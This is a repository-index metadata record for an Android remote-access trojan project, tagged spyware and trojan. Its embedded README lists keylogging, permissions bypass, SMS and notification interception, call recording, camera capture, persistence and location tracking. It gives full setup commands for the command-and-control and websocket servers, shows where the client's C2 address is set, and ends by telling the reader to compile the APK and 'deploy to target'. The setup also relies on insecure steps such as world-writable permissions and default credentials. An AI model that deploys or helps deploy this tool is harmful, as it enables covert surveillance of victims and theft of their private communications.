{"id":20253067,"url":"https://github.com/tomiwa-ot/moukthar","last_synced_at":"2025-04-08T08:17:07.899Z","repository":{"id":37653612,"uuid":"389937314","full_name":"Tomiwa-Ot/moukthar","owner":"Tomiwa-Ot","description":"Android remote administration tool","archived":false,"fork":false,"pushed_at":"2025-02-08T17:42:39.000Z","size":10195,"stargazers_count":417,"open_issues_count":6,"forks_count":113,"subscribers_count":10,"default_branch":"main","last_synced_at":"2025-04-01T07:44:29.169Z","etag":null,"topics":["android","android-rat","c2","c2-server","c2c","collaborate","command-and-control","dynamic-routing","java","php","php-framework","rat","ratchet-php-server","remote-access-trojan","remote-administrative-tool","remoteadministrationtool","spyware","trojan","web-socket-server","web-sockets"],"latest_commit_sha":null,"homepage":"https://youtube.com/playlist?list=PLZBuE8Kbs7h6lCdMdVL5dF0tEy1dlnxvh","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Tomiwa-Ot.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":"Tomiwa-Ot","patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"lfx_crowdfunding":null,"polar":null,"custom":null}},"created_at":"2021-07-27T10:15:37.000Z","updated_at":"2025-03-30T10:58:22.000Z","dependencies_parsed_at":"2024-03-14T21:47:46.634Z","dependency_job_id":"f1600773-c2ec-4bb0-8916-a3eb4fadd49a","html_url":"https://github.com/Tomiwa-Ot/moukthar","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Tomiwa-Ot%2Fmoukthar","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Tomiwa-Ot%2Fmoukthar/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Tomiwa-Ot%2Fmoukthar/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Tomiwa-Ot%2Fmoukthar/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Tomiwa-Ot","download_url":"https://codeload.github.com/Tomiwa-Ot/moukthar/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247801175,"owners_count":20998339,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","android-rat","c2","c2-server","c2c","collaborate","command-and-control","dynamic-routing","java","php","php-framework","rat","ratchet-php-server","remote-access-trojan","remote-administrative-tool","remoteadministrationtool","spyware","trojan","web-socket-server","web-sockets"],"created_at":"2024-11-14T10:21:09.987Z","updated_at":"2025-04-08T08:17:07.867Z","avatar_url":"https://github.com/Tomiwa-Ot.png","language":"PHP","funding_links":["https://github.com/sponsors/Tomiwa-Ot"],"categories":[],"sub_categories":[],"readme":"## Moukthar\nRemote adminitration tool for android\n\n### Features\n- Permissions bypass (android 12 below) https://youtube.com/shorts/-w8H0lkFxb0\n- Keylogger https://youtube.com/shorts/Ll9dNrkjFOA\n- Notifications listener\n- SMS listener\n- Phone call recording\n- Image capturing and screenshots\n- Video recording\n- Persistence \n- Read \u0026 write contacts\n- List installed applications\n- Download \u0026 upload files\n- Get device location\n\n[![Tutorial Video](https://img.youtube.com/vi/ykOx19hAaD4/0.jpg)](https://youtu.be/ykOx19hAaD4)\n\n### Installation\n- Clone repository\n  ```console\n  git clone https://github.com/Tomiwa-Ot/moukthar.git\n  ```\n- Install php, composer, mysql, php-mysql driver, apache2 and a2enmod\n- Move server files to ```/var/www/html/``` and install dependencies\n  ```console\n  mv moukthar/Server/* /var/www/html/\n  cd /var/www/html/c2-server\n  composer install\n  cd /var/www/html/web-socket/\n  composer install\n  cd /var/www\n  chown -R www-data:www-data .\n  chmod -R 777 .\n  ```\n  The default credentials are username: ```android``` and password: ```android```\n- Create new sql user\n  ```mysql\n  CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';\n  GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';\n  FLUSH PRIVILEGES;\n  ```\n- Set database credentials in ```c2-server/.env``` and ```web-socket/.env```\n- Execute ```database.sql```\n- Start web socket server or deploy as service in linux\n  ```console\n  php Server/web-socket/App.php\n  # OR\n  sudo mv Server/websocket.service /etc/systemd/system/\n  sudo systemctl daemon-reload\n  sudo systemctl enable websocket.service\n  sudo systemctl start websocket.service\n  ```\n- Modify ```/etc/apache2/sites-available/000-default.conf```\n  ```console\n  \u003cVirtualHost *:80\u003e\n        ServerAdmin webmaster@localhost\n        DocumentRoot /var/www/html/c2-server\n        DirectoryIndex app.php\n        Options -Indexes\n\n        ErrorLog ${APACHE_LOG_DIR}/error.log\n        CustomLog ${APACHE_LOG_DIR}/access.log combined\n  \u003c/VirtualHost\u003e\n\n  ```\n- Modify ```/etc/apache2/apache2.conf```\n  ```xml\n    Comment this section\n    #\u003cDirectory /\u003e\n    #       Options FollowSymLinks\n    #       AllowOverride None\n    #       Require all denied\n    #\u003c/Directory\u003e\n\n   Add this\n    \u003cDirectory /var/www/html/c2-server\u003e\n        Options -Indexes\n        DirectoryIndex app.php\n        AllowOverride All\n        Require all granted\n    \u003c/Directory\u003e\n  ```\n- Increase php file upload max size ```/etc/php/*.*/apache2/php.ini```\n  ```ini\n  ; Increase size to permit large file uploads from client\n  upload_max_filesize = 128M\n  ; Set post_max_size to upload_max_filesize + 1\n  post_max_size = 129M\n  ```\n- Set web socket server address in \u003cscript\u003e tag in ```c2-server/src/View/home.php``` and ```c2-server/src/View/features/files.php```\n  ```console\n  const ws = new WebSocket('ws://IP_ADDRESS:8080');\n  ```\n- Restart apache using the command below\n  ```console\n  sudo a2enmod rewrite \u0026\u0026 sudo service apache2 restart\n  ```\n- Set C2 server and web socket server address in client ```functionality/Utils.java```\n  ```java\n  public static final String C2_SERVER = \"http://localhost\";\n\n  public static final String WEB_SOCKET_SERVER = \"ws://localhost:8080\";\n  ```\n- Compile APK using Android Studio and deploy to target\n\n### Screenshots\n![Login](screenshots/login.png)\n![Dashboard](screenshots/c2.png)\n![Installed Apps](screenshots/apps.png)\n![Camera](screenshots/camera.png)\n![Contacts](screenshots/contacts.png)\n![Files](screenshots/files.png)\n![Notifications](screenshots/notifications.png)\n![SMS](screenshots/sms.png)\n![Video](screenshots/video.png)\n\n### TODO\n- Auto scroll logs on dashboard\n- Screenshot not working\n- Image/Video capturing doesn't work when application isn't in focus\n- Downloading files in app using DownloadManager not working\n- Listing constituents of a directory doesn't list all files/folders\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftomiwa-ot%2Fmoukthar","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftomiwa-ot%2Fmoukthar","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftomiwa-ot%2Fmoukthar/lists"}